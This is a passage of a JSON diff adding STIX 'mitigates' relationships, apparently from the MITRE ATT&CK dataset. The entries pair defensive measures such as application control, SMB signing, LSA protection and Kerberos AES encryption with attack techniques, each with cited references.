"relationship_type": "mitigates", + "created": "2019-06-25T11:28:27.295Z", + "external_references": [ + { + "source_name": "Re-Open windows on Mac", + "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.", + "url": "https://support.apple.com/en-us/HT204005" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--20a0028d-1e5b-49da-a56c-a8a611a20093", + "description": "This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.", + "target_ref": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300", + "modified": "2020-01-24T18:26:19.241Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T11:28:27.310Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bcb80880-d429-49b3-b9ca-7f7d94812dc4", + "description": "Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access.", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "modified": "2020-02-18T16:51:57.991Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T11:44:21.264Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3afb3225-b6f9-439c-82dd-5cdc464ac34f", + "description": "Use strong passphrases for private keys to make cracking difficult.", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "modified": "2020-02-18T16:51:58.007Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T11:44:21.278Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8e6ec081-8124-4e3a-833c-30efe8b510fe", + "description": "Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement.", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "modified": "2020-02-18T16:51:58.006Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T11:44:21.285Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--80f7f387-a40c-4158-a509-9308263b32ed", + "description": "Ensure only authorized keys are allowed access to critical resources and audit access lists regularly.", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "modified": "2020-02-18T16:51:58.015Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T11:44:21.287Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--39962764-cf46-4f39-9dd9-95b0ced56d93", + "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions.\n\nDisable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "modified": "2020-03-09T13:51:07.141Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T11:53:20.331Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cbbb1dfc-b66c-42d7-828d-6af82c396d78", + "description": "Prevent plist files from being modified by users by making them read-only.", + "target_ref": "attack-pattern--06780952-177c-4247-b978-79c357fb311f", + "modified": "2020-03-17T13:03:26.246Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T11:58:11.888Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--458eb231-ded2-4941-aeaa-875263ac20ab", + "description": "Require that all executables be placed in write-protected directories.", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02", + "modified": "2020-07-06T18:49:35.885Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:02:27.819Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--cef9c309-edd5-48a6-afc9-de7e13a0cc05", + "description": "Adversaries will likely need to place new binaries in locations to be executed through this weakness. Identify and block potentially malicious software executed path interception by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02", + "modified": "2021-08-23T20:25:22.121Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:02:27.823Z", + "external_references": [ + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control", + "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.", + "source_name": "Microsoft Windows Defender Application Control" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b113c982-66fb-4a19-b85d-f1f33f045d2b", + "description": "Find and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). \n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations. (Citation: Kanthak Sentinel)", + "target_ref": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02", + "modified": "2020-07-06T18:49:35.975Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:02:27.825Z", + "external_references": [ + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms682425" + }, + { + "source_name": "MSDN DLL Security", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/ff919712.aspx" + }, + { + "source_name": "Kanthak Sentinel", + "description": "Kanthak, S. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.", + "url": "https://skanthak.homepage.t-online.de/sentinel.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--62d8cec2-c94f-4a18-ab0a-0a182e30f33a", + "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing.\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)", + "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "modified": "2021-08-16T21:25:04.393Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:09:15.655Z", + "external_references": [ + { + "source_name": "MRWLabs Office Persistence Add-ins", + "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.", + "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ffa8f46b-615f-4b95-8ed5-90f86eaedd20", + "description": "Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 to analyze commands after being processed/interpreted. (Citation: Microsoft AMSI June 2015)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2021-10-20T16:33:14.634Z", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:15:00.109Z", + "external_references": [ + { + "source_name": "Microsoft AMSI June 2015", + "description": "Microsoft. (2015, June 9). Windows 10 to offer application developers new malware defenses. Retrieved February 12, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/?source=mmpc" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--30cd48e4-915e-430b-ab79-da6dfead0e52", + "description": "Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", + "modified": "2020-03-13T21:04:13.667Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:17:31.734Z", + "external_references": [ + { + "source_name": "InsiderThreat NTFS EA Oct 2017", + "description": "Sander, J. (2017, October 12). Attack Step 3: Persistence with NTFS Extended Attributes \u2013 File System Attacks. Retrieved March 21, 2018.", + "url": "https://blog.stealthbits.com/attack-step-3-persistence-ntfs-extended-attributes-file-system-attacks" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--651225d6-5454-4c44-8d62-776bd7ddaed2", + "description": "Use network intrusion detection/prevention systems to detect and prevent remote service scans.", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "modified": "2021-04-09T14:56:26.709Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:25:23.792Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--32d482c4-2c0d-4688-a38b-d73b5b2962a3", + "description": "Ensure that unnecessary ports and services are closed to prevent risk of discovery and potential exploitation.", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "modified": "2021-04-09T14:56:26.699Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:25:23.800Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b5bb955f-cf1c-4398-9766-d06b30dfe326", + "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life.", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "modified": "2020-01-31T18:59:59.397Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:29:05.208Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0672855a-d701-45fc-ba05-872561b46086", + "description": "Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "modified": "2020-01-31T18:59:59.413Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:29:05.217Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--81bb4898-aaa2-4dff-9af8-a97e6b69a95a", + "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "modified": "2020-08-13T20:02:49.812Z", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:31:57.676Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4fd60107-7025-4398-a53e-ef830c606e96", + "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them.", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "modified": "2020-03-16T16:06:07.947Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:34:17.206Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--72de6e56-e5d1-4a3f-aa85-d7155f7ff42c", + "description": "Use file system access controls to protect folders such as C:\\\\Windows\\\\System32.", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "modified": "2021-06-09T18:51:50.549Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:37:30.052Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4fd3ec25-00ed-48c1-af72-e2523959860e", + "description": "Require signed binaries.", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "modified": "2021-06-09T18:51:50.586Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:37:30.078Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--865b8971-408c-481c-8879-616f8a08eab0", + "description": "Ensure safe DLL search mode is enabled HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\SafeDllSearchMode to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)", + "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "modified": "2020-01-24T18:50:29.201Z", + "source_ref": "course-of-action--e8242a33-481c-4891-af63-4cf3e4cf6aff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:42:56.894Z", + "external_references": [ + { + "source_name": "Microsoft DLL Security", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--eaaa3ad9-1bac-4355-901a-7ea888ab4bdc", + "description": "On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\RunAsPPL to dword:00000001. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.", + "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "modified": "2020-01-24T18:50:29.221Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:42:56.899Z", + "external_references": [ + { + "source_name": "Microsoft LSA Protection Mar 2014", + "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.", + "url": "https://technet.microsoft.com/library/dn408187.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--94fda004-858c-4128-93d8-2fe3bb4a4930", + "description": "Holding the shift key during login prevents apps from opening automatically. (Citation: Re-Open windows on Mac)", + "target_ref": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9", + "modified": "2020-03-19T19:17:58.696Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T12:57:26.767Z", + "external_references": [ + { + "source_name": "Re-Open windows on Mac", + "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.", + "url": "https://support.apple.com/en-us/HT204005" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--05b79234-c4ce-4045-8939-540f499c3486", + "description": "Use host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)", + "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "modified": "2020-02-11T19:09:48.735Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T13:11:18.047Z", + "external_references": [ + { + "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html", + "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.", + "source_name": "byt3bl33d3r NTLM Relaying" + }, + { + "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html", + "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.", + "source_name": "Secure Ideas SMB Relay" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/system-center/operations-manager-2005/cc180803(v=technet.10)", + "description": "Microsoft. (2008, September 10). Using SMB Packet Signing. Retrieved February 7, 2019.", + "source_name": "Microsoft SMB Packet Signing" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--26cd85f0-1080-4171-a307-b5736130b0ad", + "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)", + "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "modified": "2020-02-11T19:09:48.737Z", + "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T13:11:18.057Z", + "external_references": [ + { + "source_name": "ADSecurity Windows Secure Baseline", + "description": "Metcalf, S. (2016, October 21). Securing Windows Workstations: Developing a Secure Baseline. Retrieved November 17, 2017.", + "url": "https://adsecurity.org/?p=3299" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--072e8adb-63ae-46ca-bb64-1bf0b48c1bdd", + "description": "Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.", + "target_ref": "attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373", + "modified": "2020-03-30T13:53:57.675Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T13:12:54.888Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ed38d8a3-4b4e-46fa-893b-2bcfd0589442", + "description": "Enforce that all binaries be signed by the correct Apple Developer IDs.", + "target_ref": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb", + "modified": "2020-01-24T14:22:27.736Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T13:32:35.974Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--886aa8d9-b95e-4577-812a-f1ddcedbe70f", + "description": "Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn\\u2019t included as part of an update, it should be investigated.", + "target_ref": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb", + "modified": "2020-01-24T14:22:27.734Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T13:32:35.994Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1aeaa8be-107b-4ce3-8725-0ebff7adcccb", + "description": "Application whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)", + "target_ref": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5", + "modified": "2020-01-24T17:57:51.431Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T13:52:04.919Z", + "external_references": [ + { + "source_name": "Kernel.org Restrict Kernel Module", + "description": "Vander Stoep, J. (2016, April 5). [v3] selinux: restrict kernel module loadinglogin register. Retrieved April 9, 2018.", + "url": "https://patchwork.kernel.org/patch/8754821/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--13cb72a2-3499-47cb-8814-f46fe79cf435", + "description": "Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.", + "target_ref": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5", + "modified": "2020-01-24T17:57:51.452Z", + "source_ref": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T13:52:04.943Z", + "external_references": [ + { + "source_name": "SourceForge rkhunter", + "description": "Rootkit Hunter Project. (2018, February 20). The Rootkit Hunter project. Retrieved April 9, 2018.", + "url": "http://rkhunter.sourceforge.net" + }, + { + "source_name": "Chkrootkit Main", + "description": "Murilo, N., Steding-Jessen, K. (2017, August 23). Chkrootkit. Retrieved April 9, 2018.", + "url": "http://www.chkrootkit.org/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1f69c26b-7c34-40c8-8660-f505ad99ada6", + "description": "Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)", + "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "modified": "2020-02-11T20:35:32.280Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T13:55:45.209Z", + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6f81600d-9fb3-445b-b70b-a88d4adf5319", + "description": "Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)", + "target_ref": "attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "modified": "2020-02-11T20:35:32.283Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2019-06-25T13:55:45.234Z", + "external_references": [ + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": 